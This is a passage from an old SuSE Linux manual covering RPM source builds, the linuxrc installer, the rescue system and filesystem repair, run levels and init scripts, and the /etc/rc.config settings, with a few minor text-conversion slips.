> Please don't make any experiments with essential system packages such as package libc, package rpm, orpackage nkit, etc.! This might lead to a malfunctioning system!

When you install a source package from series zq with YaST all necessary components will be installed in /usr/src/packages. The sources as well as the difs under SOURCES, the .spec-Datei under SPECS[3]. For our example

[3] For "making packages" see [Bailey, 1997]. Further information my be gathered from manpage of rpm (man rpm)

we will choose the `wget.spm` package. After you have installed the package with YaST you should have the following files:

```
/usr/src/packages/SPECS/wget.spec
/usr/src/packages/SOURCES/wget-1.4.5.dif
/usr/src/packages/SOURCES/wget-1.4.5.tar.gz
```

`rpm -b` <**X**> **`/usr/src/packages/SPECS/wget.spec`** starts the compilation. Here <X> is a wildcard for different stages of the build process (see **`--help`** output or the RPM docu). Here we will just show some options.

`-bp` Prepare sources in `/usr/src/packages/BUILD`: unpack and patch.

`-bc` same as **`-bp`** with additional compilation.

`-bi` same as **`-bp`** with additional installation of the built software. Caution, if the package does not support the BuildRoot feature you might overwrite configuration files.

`-bb` same as **`-bi`** with additional creation of the "binary" package. If the compile was successful the binary should be in `/usr/src/packages/RPMS`.

`-ba` same as **`-bb`** with additional creation of the "source RPM". If the compile was successful the binary should be in `/usr/src/packages/SRPMS`.

`--short-circuit` lets you skip single steps.

This binary RPM may be now installed by invoking **`rpm -i`** or even better with **`rpm -U`** (to make it appear in the RPM database).

15.3.4 Other tools for working with RPM archives

The **Midnight Commander** (**`mc`**) is able to "browse" RPM archives and to operate on parts of them. This tool works on an RPM package archive as if the archive were a regular filesystem. Using **mc**, you can view `HEADER` information with F3 and you can copy parts of an archive with F5 .

xrpm is a new graphical RPM manager written in Python which supports commands to FTP-accessed archives.

KDE can use the tool **krpm**, a graphical interface under the X Window System, for RPM management. **krpm** is currently in an early development stage.

Using the **Alien** (**`alien`**) Perl script, it is possible to convert or install an "alien" binary package. One can attempt to convert "old" TGZ archives to RPM before installing. This way the RPM database can keep track of such a package after installing it. But caution: **`alien`** is still "alpha" software, according to its author.

Last, but not least, there is YaST …

Chapter 16

Special features of SuSE Linux

16.1 Keyboard layout

For unifying the keyboard mapping of certain programs the following files had to be adapted:
`/usr/lib/X11/Xmodmap`
`/etc/inputrc`
`/etc/skel/.exrc`
`/etc/skel/.less`
`/etc/skel/.lesskey`
`/etc/csh.cshrc`
`/etc/termcap`
`/usr/lib/terminfo/x/xterm`
`/usr/lib/X11/app-defaults/XTerm`
`/usr/share/emacs/20.3/site-lisp/term/*.el`
`/usr/lib/joerc`
These changes only apply to applications that make use of **terminfo** entries or change their configuration files (**vi**, **less**, etc.).

Setting up the keyboard see

16.2 linuxrc

linuxrc is started during the boot up of the kernel, usually as a prelude to a Linux system installation, before the "real" booting commences.

This allows you to boot a small, modularized kernel and to load the required drivers as modules. It is (at the moment) still possible, to include all drivers which the kernel supports and which are needed for the installation (including PCMCIA) on one diskette.

linuxrc is your assistant for loading all relevant hardware drivers. You can even use **linuxrc** as a boot disk for an already installed system, e. g., as a rescue disk. You can even start a totally independent RAM disk based rescue system, e. g., if something serious should happen to your hard disk or you have simply forgotten your `'root'` password. More in section 16.3.

Main menu

After you have selected the language, screen and keyboard, you find yourself in **linuxrc**'s main menu (see figure 2.1, page 15).

If all components that are needed for installation have already been recognized by the kernel, you do not need to load additional drivers. This mainly applies to those that only have (E)IDE adapters (and, of course, only (E)IDE hard disks and CD-ROM).

If there is a SCSI adapter installed which is necessary for installation,[1] you have to load the corresponding SCSI module. The same applies if you want to install via an existing network. Here, the suitable module has to be loaded first.

Furthermore, there are a lot of older CD-ROMs that are driven by proprietary controllers and which, therefore, need their own kernel modules. If PCMCIA devices are connected to a laptop, you need these modules as well.

System information

If you are not sure about your hardware, the boot messages might help you.

You can check some system information under 'System information'. Here, you can check the used interrupts, I/O ports used, main memory and recognized PCI devices as detected by Linux.

Figure 16.1: System information

The next lines show how a hard disk and a CD-ROM connected to an (E)IDE controller announce their start. In this case, you do not need to load additional modules:

```
hda: ST32140A, 2015MB w/128kB Cache, LBA, CHS=1023/64/63
hdb: CD-ROM CDR-S1G, ATAPI CDROM drive
Partition check:
 hda: hda1 hda2 hda3 < hda5 >
```

[1] An adapter with only a scanner connected to it is not required at boot time.

If you booted a kernel that already has a SCSI driver compiled in, you do not need this SCSI driver also as a module. Quite typical announcements when loading SCSI adapters and connected devices might resemble:

```
scsi : 1 host.
Started kswapd v 1.4.2.2
scsi0 : target 0 accepting period 100ns offset 8 10.00MHz FAST SCSI-II
scsi0 : setting target 0 to period 100ns offset 8 10.00MHz FAST SCSI-II
  Vendor: QUANTUM   Model: VP32210           Rev: 81H8
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 0, lun 0
scsi0 : target 2 accepting period 236ns offset 8 4.23MHz synchronous SCSI
scsi0 : setting target 2 to period 248ns offset 8 4.03MHz synchronous SCSI
  Vendor: TOSHIBA   Model: CD-ROM XM-3401TA  Rev: 0283
  Type:   CD-ROM                             ANSI SCSI revision: 02
scsi : detected 1 SCSI disk total.
SCSI device sda: hdwr sector= 512 bytes. Sectors= 4308352 [2103 MB] [2.1 GB]
Partition check:
 sda: sda1 sda2 sda3 sda4 < sda5 sda6 sda7 sda8 >
```

Loading of modules

You select which kinds of modules you need. If you booted via disk, the corresponding data has to be read by **linuxrc** and displayed in a list.

If you have booted from CD or from DOS (via **loadlin**), these modules are already set in **linuxrc**. This saves tedious loading but needs additional memory. If your machine is supplied with less than 8 MB of RAM, you have to boot from disk.

Figure 16.2: Load modules

linuxrc offers you a list of available drivers. On the left, there is the name of the module and, on the right, you can see a short message telling you what it can be used for.

For some components, there are a variety of drivers to choose from (even newer alpha-code drivers).

Figure 16.3: Selection of SCSI drivers

Passing parameters

When you have found a suitable driver, move to it with the cursor and press ↵ . Now there is a dialog box where you can add additional parameters for this module. More on module parameters can be found in section 14.3.3, page 299.

Figure 16.4: Entering parameters for loading a module

We would like to point out that, in contrast to the LILO prompt, parameters for the same module have to be separated by blanks.

In most cases, it is not necessary to specify the hardware in detail. Most drivers find their components automatically. Most networking cards and proprietary CD-ROM drives, however, need parameters. In case of doubt, just try ↵ .

Recognizing and initializing certain hardware can take quite some time. Switching to console #4 (Alt + F4) lets you watch the kernel messages while loading. SCSI drivers need quite some time, as they have to wait for each device to load.

If loading succeeded, the messages are displayed by **linuxrc** just so you can verify everything ran smoothly. Otherwise, if it fails, the messages might give you a hint why it failed.

Start installation / system

Once you have set up hardware support via modules, you can switch to the `'Start installation / system'` menu.

Figure 16.5: the **linuxrc** `''Start''` menu

There are different sources for both the installation as well as the rescue system (see figure 16.6, page 328).

16.3 The SuSE rescue system

Overview

Since version 4.2, SuSE Linux has contained a completely independent rescue system which enables you to access your system ("from outside") in case of emergency. This system consists of a special selection of system tools. They should be sufficient to solve most hardware and configuration errors and problems.

Figure 16.6: Selecting source media in **linuxrc**

The rescue system consists of a boot disk (the same as for the new installation) and an installation CD. Since this boot disk can be created at any time by means of the CD (the boot disk image file can be found in `disks`), this serves as a secure and easy to use rescue system. If you copy this file using the command:

```
earth: # /sbin/badblocks -v /dev/fd0 1440
  earth: # dd if=/cdrom/disks/rescue of=/dev/fd0 bs=18k
```

or using the DOS command (assuming `Q` is your CD-ROM under DOS)

```
Q:\dosutils> rawrite.exe
```

onto a second error-free disk (the "rescue-disk"), you can also launch the rescue system using the boot disk with this rescue disk.

Please be aware that you cannot mount the rescue disk by itself, because it does not contain a filesystem but a compressed image (the uncompressed image would take up to 3.5 MB which would not fit on a floppy disk).

If you want to look at the rescue disk image, you have to decompress it in advance and then mount it (the username must be '`root`'). Provided that your Linux kernel supports the *loop device*, you enter:

```
earth: # /bin/cp cdrom/disks/rescue /root/rescue.gz
earth: # /bin/gunzip /root/rescue.gz
earth: # /bin/mount -t minix -o loop /root/rescue /mnt
```

Now you can have a look at it under `/mnt`.

> Always have some *extra* boot disks at hand! Creating such a disk does not take long—much less time than searching for a disk in an emergency. In such an emergency, you can be sure that your CD-ROM will not work either (Murphy's law...)!

Launching the rescue system

The rescue system, like a normal installation, is launched using the SuSE boot disk. Step by step:

- *Requirements:* The floppy drive is bootable (if not, you must run CMOS setup to modify the settings).
- Launch the system with the SuSE boot disk.
- Enter the language, keyboard, etc., until you get to the main menu.
- Now select `'Installation/Start system'`.
- Insert the CD or the disk containing the compressed image of the rescue system.
- In `'Start installation / system'`, choose either (depending on the source media): `'Load rescue system from CD'`, or `'Load rescue system from disk'`.

The rescue system is now decompressed and loaded into a RAM disk as a new root filesystem, mounted and started. Now it is ready for use.

Working with the rescue system

The rescue system provides three virtual consoles on keys Alt + F1 to Alt + F3 . Here `'root'` may log in without a password. Alt + F4 brings you to the system console where you can view the kernel and syslog messages.

A shell and lots of other useful utilities (net tools) can be found under `/bin`. In `sbin` you can find **efsck** which is very useful for checking and repairing filesystems.

In `sbin`, are important binaries for system maintenance, such as **fdisk**, **mkfs**, **mkswap**, **mount**, **mount**, **init**, **shutdown**, as well as **ifconfig**, **route**, and **netstat** for maintaining the network.

An editor, **vi**, is located in `/usr/bin`. Also, tools like (**grep**, **find**, **less**, etc.) and, most important of all, **telnet**, are available.

Example: Accessing your normal system

For mounting a Linux system using the rescue system, you should use the mountpoint `/mnt`. Of course, you can also use or generate another directory.

The environment variable **$PATH** already contains the standard directories and subdirectories such as `/mnt/bin` and

```
/dev/sdb5       swap        swap        defaults    0   0
/dev/sdb3       /           ext2        defaults    1   1
/dev/sdb6       /usr        ext2        defaults    1   2
```

File contents 16.3.1: Example `/etc/fstab` for system recovery

Consider the following example: Assuming your system is configured according to the `/etc/fstab` given in file contents 16.3.1, page 329, then you may mount it step by step to `/mnt`. Just execute the following commands in order:

```
earth:/ # mount /dev/sdb3 /mnt
  earth:/ # mount /dev/sdb6 /mnt/usr
```

Now you can access your entire system and, e. g., correct mistakes in configuration files such as `/etc/fstab`, `/etc/passwd`, and `/etc/inittab`. Of course, these files now are located under `/mnt/etc` instead of `/etc`!

> *Every* experienced Linux user has hard copies of `/etc/fstab` and the output of **fdisk -l** in his files. Even completely corrupt partitions can be reassigned if the *exact* geometry and parameters are known!

Example: Repairing filesystems

Damaged filesystems are tricky problems for the rescue system. This could happen after an unscheduled shutdown caused by power failure or a system crash. Generally, filesystems cannot be repaired on a running system. If you encounter really severe problems, you may not even be able to mount your root filesystem and have the system boot end up in a `"kernel panic"`. Here, the only chance is to repair the system from the "outside" using a rescue system.

The SuSE Linux rescue system contains the utilities **e2fsck** and, for problem diagnosis, **dumpe2fs**. These should cover most problems. In an emergency, there normally are no man pages available. That is why we have included them in this manual under appendix F, page 407.

Example:

If mounting a filesystem fails due to an *invalid* superblock, then **e2fsck** would most probably fail too. If this were the case, your superblock may be corrupted too. There are copies of the superblock located every 8192 blocks (8193, 16385, ...) If your superblock got corrupted, you can try one of the copies instead. This is accomplished by entering the command:

```
earth: # e2fsck -f -b 8193 /dev/damaged_partition
```

The **`-f`** option forces the filesystem check and overrides **e2fsck**'s error so that—since the superblock copy is intact —everything is fine.

16.4 Changes made to software packages

16.4.1 package `cron`

The **cron** tables are now located under `/var/cron/tabs` (no longer under `/var/lib/cron`). `/etc/crontab` serves as system wide cron table. You need to enter the name of the user who should run the command directly after the time table (see file contents 16.4.1, here `'root'` is entered).

You *cannot* edit `/etc/crontab` via **`crontab -e`**. This has to be done using a normal editor.

```
1-59/5 * * * * root test -x /usr/sbin/atrun && /usr/sbin/atrun
```

File contents 16.4.1: Example of an entry in `/etc/crontab`

16.4.2 package `curses`

On our SuSE Linux CD, we have newly included the package `ncurses`. The corresponding libraries are named `libncurses.so.<xx>`. This means that some Makefiles have to be adapted to link **`ncurses`**. Packages of your own should be linked with the command **`-lncurses`** instead of **`-lcurses`**. For those who want to use **`curses`** anyway, try:

```
-I/usr/include/termcap -I/usr/include/curses
  -L/usr/lib/termcap -L/usr/lib/curses
```

16.4.3 man pages

Some man pages (e. g., **tar**) are no longer maintained. They have been replaced by info files. **Info** (**`info`**) is **GNU**'s hypertext system. Typing **`info info`** gives you first help in using **`info`**. **`info`** can be launched via **`emacs -f info`** or via the standalone: **`info`**. The most convenient way is **`xinfo`**.

Chapter 17

The SuSE boot concept

Booting and initialization of a UNIX system challenge even an experienced system administrator. This chapter gives you a short overview of the SuSE Linux boot concept.

This concept is much more complex but also more flexible than those used in some Linux distributions. It is based on the boot concept used for a **System V** workstation as described in [Frisch, 1993].

The simple words `"Uncompressing Linux..."` signal that the kernel is taking control over your hardware. It checks and sets your console[1] to read BIOS settings and to initialize basic hardware interfaces. Next, your drivers "probe" existing hardware and initialize it accordingly. After checking the partitions and mounting the root filesystem (assigning it to "`/`"), the kernel starts **/sbin/init** which starts the main system with all its programs and configurations. The kernel will control the entire system, including hardware access and the CPU time programs may use.

17.1 The init program

The program **/sbin/init** is responsible for correctly initializing all system processes. Thus, it is the father of all processes in the entire system.

init takes a special role: **init** is directly started by the kernel and resists *signal 9*, which normally enables you to kill processes. All further programs are either started directly by **init** or by one of its "child" processes.

init is centrally configured via the `/etc/inittab` file. Here, the so-called "run levels" are defined (more about run levels in the next section). Here also is set what should happen in the several levels. Depending on the entries in `etc/inittab`, several scripts are started by **init** which, for clarity, all reside in the same directory, `/sbin/init.d`.

The entire process of starting up the system (and shutting down, as well) is maintained by **init**. From this point of view, the kernel can be considered as a "background process" whose task it is to maintain all other processes and to adjust CPU time and hardware access according to requests from other programs.

[1] Or, more precisely the BIOS registers of graphic cards and output format.

17.2 Run levels

Under Linux there are so-called *run levels* which define how the system is going to be started up. After booting, the system starts as defined in `/etc/inittab` in line **`initdefault`**. An alternative to this is assigning a special run level at boot time (e. g., at the LILO prompt): the kernel passes any parameters which it doesn't need directly to **init**.

For changing run levels while the system is running, you can just enter **init** with the appropriate number. Obviously only the super user is capable of doing so:

`root@earth:/ >` `init S`

brings you to *single user mode* which is for maintenance and administration of your system. After finishing work in *S* mode, the system administrator can change the run level to 2 again by typing:

`root@earth:/ >` `init 2`

Now all essential programs are started and users can log in and work with the system. The table below gives you an overview about available run levels. Run level 1 should not be used on a system whose `/usr` partition is mounted via NFS:

Run level	Meaning
0	Halt
S	Single user mode
1	Multi-user without network
2	Multi-user with network (standard)
3	Multi-user with network and xdm
4	Unused
5	Unused
6	Reboot

Table 17.1: Valid run levels on Linux

You can halt the system using:

`root@earth:/ >` `init 0`

or restart it with:

`root@earth:/ >` `init 6`

If you have already installed and configured the X Window System properly (section 9.1) and want users to log in via a graphical user interface, you can easily change the run level to `3`. You should give it a try first by typing:

`root@earth:/ >` `init 3`

to see whether the system works as you expected.

> With a damaged `/etc/inittab`, you can end up in a system which can not be brought up properly. Therefore, be extremely careful while editing `/etc/inittab`! – In an emergency you may try to enter **`init=/bin/sh`** at the LILO boot prompt for directly booting into a shell (see section 4.3, page 84). This looks like: **`boot:  linux init=/bin/sh`**

17.3 Changing run levels

Generally, there are a couple of things that happen if you change run levels. First, so-called *stop scripts* of the current run level are launched, closing down some programs which are essential for the current run level. Thereafter, *start scripts* of the new run level are started. Here, in most cases, some programs will be started.

To illustrate this, we will show you a change from run level 2 to 3:

- The administrator (‘`root`’) tells **init** to change run levels: **`root@earth:/ >`** `init 3`
- **init** now consults its configuration file (`/etc/inittab`) and realizes that it should start `/sbin/init.d/rc` with the new run level as parameter.
- Now **rc** calls all the stop scripts of the current run level, but only for those where there is no start script in the selected new run level. In our example, these are all scripts which reside in `/sbin/init.d/rc2.d` (old run level was 2) and which start with a ‘`K`’.[2] The number following ‘`K`’ guarantees a certain order to start as there are some dependencies which have to be taken into consideration.
- The last thing to start are the start scripts of the new run level. These are (in our example) under `/sbin/init.d/rc3.d` and begin with an ‘`S`’. The same procedure regarding the order in which they are started is applied here.

If you want to change to the same run level which you are already in, **init** only checks `/etc/inittab` for changes and starts the appropriate steps (e. g., for starting a getty on another interface).

17.4 Init scripts

Scripts under `/sbin/init.d` are divided into two sections:

- scripts which are executed directly by **init**. This only applies while booting as well as while shutting down the system immediately (power failure or pressing Ctrl Alt Del by the user).
- scripts which are started indirectly by **init**. This happens while changing the run level. Here, generally, **/sbin/init.d/rc** is executed, which guarantees the correct order of the relevant scripts.

[2] Names of stop scripts always start with a ‘`K`’, whereas start scripts always start with an ‘`S`’.

All scripts are located in /sbin/init.d. Scripts for changing the run level are also found there but are called via symbolic links from one of the subdirectories /sbin/init.d/rc0.d to /sbin/init.d/rc6.d. This is just for clarity reasons and avoids duplicate scripts (e. g., if they are used in several run levels). Since every script can be executed as both a start and a stop script, these scripts have to “understand” the parameters “start” and “stop”.

Example An example: while leaving run level 2, /sbin/init.d/rc2.d/K40network is executed among others. This results in /sbin/init.d/network being executed from /sbin/init.d/rc with the “stop” parameter. When entering runlevel 3, the same script is started but with the “start” parameter instead of “stop”.

Links in these run level-specific subdirectories simply serve to allocate the scripts to a certain run level.

Boot and shutdown Below, we give you a short introduction to the boot and stop scripts that are launched first (or last, respectively) as well as an explanation of the maintaining script.

- *boot*
  Executed while starting the system directly using **init**. It is independent of the chosen run level and is only executed once. Here, filesystems are checked, the kernel daemon is launched, some unnecessary files under /var/lock are deleted, and the network is configured for the loopback device (if it has been selected in /etc/rc.config). Furthermore, the system time is set up and Plug and Play hardware is initialized by the isapnp tools .

  If an error occurs while automatically checking and repairing the filesystem, the system administrator can intervene after having entered the root password.

  The directory /sbin/init.d/boot.d is assigned to this script. All scripts in this directory are executed while bringing up the system. This is the right place for your own personal extensions which should be executed only once.

  Last to be executed is the script **boot.local**.
- *boot.local*
  Here, you can enter additional commands to be executed at boot time before changing into a run level. It can be compared to AUTOEXEC.BAT on DOS systems.
- *boot.setup*
  General settings that have to be performed while changing from *single user mode* to another run level.

  Here, keyboard maps are loaded and the kernel daemon is started which takes care of the automatic loading of modules.
- *halt*
  This script is only executed while changing into run level 0 or 6. Here, it is executed either as **halt** or as **reboot**. Whether the system shuts down or reboots depends on how **halt** is called.

- **rc**
  This script is of overriding importance whenever changing run levels. It calls the appropriate stop scripts of the current run level and the start scripts of the new selected run level.

Creating scripts

You may add your own scripts to this skeleton very easily. A template may be found under `/sbin/init.d/skeleton`. For enabling a script via `/etc/rc.config`, it is recommended that you create a <START_> variable in this file. Additional parameters should only be added if really needed (see the `/sbin/init.d/gpm` script for reference).

Now you need to create the links in the corresponding `rc?.d` to your script to make sure it is launched when you change run levels (see above section 17.3, page 335 for script names, etc.). The manpage of **init.d** (**man 7 init.d**) gives you all the needed technical background.

> Please handle these scripts with utmost care! A faulty script may hang your machine! See section 17.2 if everything else fails ...

17.5 /etc/rc.config and /sbin/SuSEconfig

Nearly any configuration of SuSE Linux can be done via a central configuration file called `/etc/rc.config`. Here, a couple of environment variables are set which are (amongst others) checked by the init scripts. Each of the scripts under `/sbin/init.d` executes `/etc/rc.config` as a first step in order to read the values of those variables which apply to it.

Moreover, very many configuration files can be generated from `/etc/rc.config`. This is the task of **/sbin/SuSEconfig**. If you change the network configuration, for example, the file `/etc/resolv.conf` will be regenerated, as it depends on the configuration you have made.

So, if you change `/etc/rc.config` manually, you should invoke **/sbin/SuSEconfig** afterwards to make sure all changes to the appropriate configuration files are made at the correct places. If you change configuration with YaST, you don't have to bother. YaST automatically executes **/sbin/SuSEconfig** and updates your configuration files.

This concept enables you to make basic changes to your configuration without having to reboot the system. Since some changes are rather complex, some programs probably have to be restarted for the changes to take effect. This procedure is explained more fully in network configuration (see section 6.2), where these programs are forced to be restarted using the command:

```
root@earth:/ > /sbin/init.d/network stop

root@earth:/ > /sbin/init.d/network start
```

As you can see, you can easily start and stop init scripts by hand.

Generally, we recommend the following steps for configuring your system:

- Bring the system into *single user mode*:

  ```
  root@earth:/ > init S
  ```

As an alternative, you can select run level 1. Here, you have the possibility of logging in on several consoles:

```
root@earth:/ > init 1
```

- Change the configuration file `/etc/rc.config` as needed. This can be done using an editor of your choice or by YaST under 'Changing configuration file' (see section 17.6).
- Execute **/sbin/SuSEconfig** to make the changes take effect. If you have changed **/etc/rc.config** via YaST, this is done automatically.
- Bring your system back into the previous run level:

```
root@earth:/ > init 2
```

This procedure is mainly relevant if you have changed system-wide settings (e. g., network configuration). It is not necessary to go into *single user mode* for small changes, but it ensures that all relevant programs are correctly restarted.

> For *generally* disabling the automatic configuration of **SuSEconfig** you need to set the variable <ENABLE_SUSECONFIG> in `/etc/rc.config` (please note section 17.6, page 338). By using selected `rc.config` variables you may disable the auto configuration partially

17.6 The variables in `/etc/rc.config`

In this section, we describe all the parameters of the system, including their default settings. If you don't use YaST to change `/etc/rc.config`, make sure to set "empty" parameters as two quotation marks (e. g., **`KEYTABLE=""`**) and to surround parameters that contain a blank with quotation marks (parameters consisting of only one word do not have to be quoted). In our description, each parameter is given a value in order to make its settings as clear as possible:

- **`ENABLE_SUSECONFIG=yes`**
  With this entry you can disable **SuSEconfig** completely. Please don't contact our support if you have trouble configuring your system after disabling **SuSEconfig** `;-)`
- **`MAIL_REPORTS_TO=newbie`**
  SuSEconfig can mail reports (created by YaST or included in packages) to you. Here, you can set the address. If you don't want this feature, simply set it to `""`.
- **`MOUSE=/dev/ttyS2`**
  Interface to which the mouse is connected. YaST and **SuSEconfig**, in turn, create a link from `/dev/mouse` to the given device.
- **`MODEM=/dev/ttyS1`**
  Interface to which the modem is connected. YaST and **SuSEconfig**, in turn, create a link from `/dev/modem` to the given device.
- **`KEYTABLE=de-latin1-nodeadkeys`**
  Defines keymaps.

- **KBD_NUMLOCK=no**
  NumLock on/off.
- **KBD_CAPSLOCK=no**
  CapsLock on/off.
- **KBD_RATE=30**
  Sets the automatic keyboard frequency. Possible values are from twice to 30 times per second. For this change to take effect, keyboard delay has to be set as well.
- **KBD_DELAY=250**
  This is the delay whereafter automatic repetition of the pressed key commences. This value is in milliseconds but isn't very accurate. You have to assign **KBD_RATE** as well.
- **FONT=mr.fnt**
  This is the console font. Not all fonts support German umlauts. YaST provides a little window where you can test all fonts and choose the one you like best.
- **GMT=-u**
  If your hardware is set to GMT (*Greenwich Mean Time*), you should set this variable to `-u`.[3] Otherwise, leave it empty. This setting is relevant for automatic changing to summer or winter time, respectively.
- **TIMEZONE=Europe/Berlin**
  Your time zone. Important for automatic switching to summer or winter time, respectively.

Initialize local hardware (PCMCIA)

- **PCMCIA=i82365**
  This is for assigning the chipset: valid entries are: `i82365` and `tcic`. If the variable is set to **""** the PCMCIA sub system is not launched. Fine tuning is achieved via **PCMCIA_PCIC_OPTS** and **PCMCIA_CORE_OPTS**

Start and configure local net and other services

- **START_GPM=yes**
  Set to `yes` to start mouse console support. This enables you to exchange text between consoles using the mouse. **gpm** can cause problems in connection with certain bus mice. If you encounter problems while starting X, you should disable **gpm**. The other alternative is to start **xdm** since **gpm** is not started in run level 3.
- **GPM_PARAM=" -t logi -m /dev/mouse"**
  Initialization parameters for **gpm**. These are normally set via YaST.
- **START_LOOPBACK=yes**
  Sets up sort of a "mini" network created by configuring the *Loopback* device. Since many programs rely on this functionality, it should be set.[4]
- **CHECK_ETC_HOSTS=yes**
  SuSEconfig can do some checks and modifications to `/etc/hosts`.

[3] `-u` is an abbreviation for *universal time*.
[4] Of course, your kernel must have been compiled with networking support.

- **SETUPDUMMYDEV=yes**
  Sets up the dummy network device. This is useful for non-permanent network connections (e. g., SLIP or PPP).
- **CREATE_HOSTCONF=yes**
  SuSEconfig can create and check `/etc/host.conf`.
- **CREATE_RESOLVCONF=yes**
  SuSEconfig can maintain `/etc/resolv.conf`. If set to `yes` *and* one of **SEARCHLIST** and **NAMESERVER** is empty, it is assumed that no DNS is wanted and `/etc/resolv.conf` will be deleted. `no` simply leaves `/etc/resolv.conf` untouched.
- **NETCONFIG=_0**
  Tells how many networking cards (or other net devices) are installed. The text shows an example for one networking card (they start with 0). For a system with two cards installed, it should resemble **NETCONFIG="_0 _1"**. For a system without networking, it should not be set.
- **IPADDR_0=193.141.17.202**
  IP address of the first networking card.
- **NETDEV_0=eth0**
  Name of the first network device (normally an Ethernet card, therefore, the example, `eth0`). Other possible settings are `str1` or `plip1`. If there is more than one card installed, additional cards are supplied with the variables NETDEV_1 to NETDEV_3.
- **IFCONFIG_0="193.141.17.205 broadcast 193.141.17.255 netmask 255.255.255.192"**
  Configuration command for the first networking device installed. These settings can easily be assigned using YaST. If you have more than one card installed, just enter the corresponding values in the appropriate variables.
- **NETWORK_0="-net 193.141.17.0"**
  Network address for your first card. For use with Point-to-Point connections (e. g., PLIP), YaST will create an entry which resembles the line `"-host 193.141.17.202"`. to set the address of the PPP partner.
- **CLOSE_CONNECTIONS=false**
  If this variable is set to `true` *and* the system runs in "run level" 0 or 6, **/sbin/init.d/route** sends a **SIGTERM** to all processes that own an open "remote tcp" or "udp" connection.
- **FQHOSTNAME=earth.cosmos.com**
  Fully qualified hostname of your machine.
- **SEARCHLIST=cosmos.com**
  This entry is used for completing a not fully qualified hostname. If, e. g., you enter `venus`, it is checked whether `venus.cosmos.com` is a valid address. This variable *has* to be set if you plan to use DNS! At least enter your domain name here. You can enter up to three entries which should be separated by blanks.
- **NAMESERVER=193.141.17.193**
  Address of the nameserver which is to be interrogated if a hostname has to be transposed to an IP address, You can enter up to three nameservers which should be separated by blanks. If you plan to use a nameserver, **SEARCHLIST** *has* to be set!

- **ORGANIZATION="Gladstone Ganter Inc."**
  This text appears in every newsposting you send.
- **NNTPSERVER=helios**
  Address of your news server. If you receive your news via UUCP and they are saved locally, you should enter `localhost`.
- **IRCSERVER=helios**
  This is the place for your IRC server (*Internet Relay Chat*). Names of the servers should be separated by blanks.
- **START_INETD=yes**
  Controls whether the **inetd** super daemon should be activated. This daemon reacts to calls from other hosts and starts (depending on the port) the appropriate service. You need it if you want to log in via **telnet** or **rlogin**. If you plan to use the **xinetd** (see section 17.6, page 341) you should set this to `no`.
- **START_XINETD=no**
  Controls whether the **xinetd** super daemon should be activated (this is an enhanced **inetd**, see section 17.6, page 341). If you plan to use this daemon, **START_INETD** should be set to `no`.
- **SENDMAIL_xxxx=**
  The **sendmail** are described in section 7.6, page 157
- **SMTP=no**
  Set to `yes` if a sendmail daemon should be activated. If you receive your email exclusively via UUCP, you don't need it, provided you call **sendmail -q** after each polling. **rmail** started by UUCP just puts mail into a queue but doesn't deliver it. If mail spool directories are mounted via NFS (e. g., on a network) and the single host has got only outgoing mail, this could be set to *no* as well. The same applies with use of *relay hosts*.
- **START_KERNELD=yes**
  This variable sets whether the kernel daemon should be started automatically at boot time. This daemon is responsible for automatically loading kernel modules on demand. A short description of the module concept and functions of **kerneld** are found in chapter section 13.2.
- **START_PORTMAP=no**
  Determines whether to start the portmapper or not. You need portmapper if you plan to use your host as an NFS server (see section 6.5). Without this daemon, **rpc.mountd** and **rpc.nfsd** can't run! It is also necessary for NIS (see section 6.5).
- **NFS_SERVER=no**
  If the host is going to be used as an NFS server, this variable has to be set to `yes`. This initializes the start of **rpc.nfsd** and **rpc.mountd**. More on setting up an NFS server is in chapter section 6.5.
- **START_AMD=no**
  Start the automounter. If this is not needed you should prefer the **autofs** kernel module. If so, you need to set the next variable (**START_AUTOFS**) to `yes`.

- **START_AUTOFS=no**
  This daemon enables you to automatically mount directory (even NFS directories, CDROM drives, disks and more).
- **START_RWHOD=no**
  Controls whether **rwhod** is started. Caution the **rwhod** regularly sends "Broadcasts". If you use "on-demand" connection (ISDN and/or **diald**) this will cause traffic and costs!
- **START_ROUTED=no**
  The route daemon is only necessary for dynamic routes (see manpage of **routed** (**man routed**)). Caution, this service builds up a connection every 30 seconds. If you use a "dial up" connection this is *not* useful to set this to `yes`.
- **START_NAMED=no**
  Whether to start the name daemon.
- **CREATE_YP_CONF=yes**
  Set to `yes` if **SuSEconfig** should create the necessary files for YP. This depends on the next two entries as well (see section 6.4). **SuSEconfig** also makes the appropriate changes to `/etc/passwd` and `/etc/group`.
- **YP_DOMAINNAME=cosmos.com**
  YP domain name of hosts. For detailed information please refer to section 6.4.
- **YP_SERVER=helios.cosmos.com**
  Name of the NIS server.
- **USE_NIS_FOR_RESOLVING=no**
  Use NIS for resolving host names.
- **START_DHCPD=no**
  Start DHCP server ("Dynamic Host Configuration Protocol").
- **START_RADIUSD=yes**
  Start radius accounting and authentification service. This service is used by some ISPs for authentify their users. See documentation in `/usr/doc/packages/radiusd`.
- **START_LPD=yes**
  Start the **lpd** ("line printer"). Normally needed for printing.
- **START_NNTPD=yes**
  Start **nntpd** if you want to access news via an NNTP site.
- **START_INN=no**
  Start INN news server.
- **START_ATD=yes**
  Controls whether the AT daemon is activated. This daemon enables you to perform tasks periodically. On the contrary to the Cron daemon the action is only performed once.
- **START_HTTPD=yes**
  Controls whether the Apache http daemon should be activated.
- **START_SQUID=no**
  Controls whether the the proxy server squid should be activated.

- **DOC_HOST=""**
  If you want to use the central documentation server which contains the SuSE help system you should enter the mane of the host, e. g. "helios.cosmos.com".
- **DOC_SERVER=no**
  You should set this variable to yes on the documentation server. In **DOC_ALLOW** (see below) you set access to **http-rman**. Furthermore the index files for the http server are rearranged:http://'hostname-f' instead of http://localhost.
- **DOC_ALLOW="LOCAL"**
  List of machines (as patterns for /etc/hosts.allow) that are allowed to access the documentation server. This variable is only is read only if **DOC_SERVER** is set to yes. You may as well enter a subdomain here (e. g. mit ".cosmos.com").
- **HTTP_PROXY=""**
  A couple of programs (e. g. **lynx**, **arena**, or **wget**) are capable of using proxy sites if this environment variable has been set.
  SuSEconfig may set this in /etc/SuSEconfig/* (see SDB http://www.suse.de/Support/sdb/lynx_proxy.html). Example: "http://proxy.provider.de:3128/".
- **FTP_PROXY=""**
  FTP proxy. Example: "http://proxy.provider.de:3128/".
- **GOPHER_PROXY=""**
  Gopher proxy. Example: "http://proxy.provider.de:3128/".
- **NO_PROXY=""**
  This enables you to exclude (sub) domains from the proxy. Example: "www.me.de, do.main, localhost".
- **START_HYLAFAX=no**
